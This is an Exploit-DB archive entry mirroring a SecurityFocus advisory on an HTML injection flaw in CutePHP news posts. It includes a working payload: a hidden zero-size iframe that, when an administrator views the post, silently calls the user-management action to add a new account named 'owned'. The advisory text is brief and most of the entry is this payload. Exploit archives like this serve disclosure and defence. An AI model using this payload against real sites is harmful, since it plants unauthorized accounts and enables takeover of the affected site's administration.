exploit-db-mirror/exploits/php/webapps/22842.txt
Offensive Security 36c084c351 DB: 2021-09-03
45419 changes to exploits/shellcodes

2 new exploits/shellcodes

Too many to list!
2021-09-03 13:39:06 +00:00

5 lines
No EOL
476 B
Text

source: https://www.securityfocus.com/bid/8060/info
CutePHP is prone to HTML injection attacks. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, user-supplied input to news posts are not sufficiently sanitized of malicious HTML code.
<iframe src="index.php?regusername=owned&regpassword= pass&regnickname=owned&regemail=nonenone.com&reglevel= 1&action=adduser&mod=editusers" height=0 width=0 frameborder=0 scrolling=0></iframe>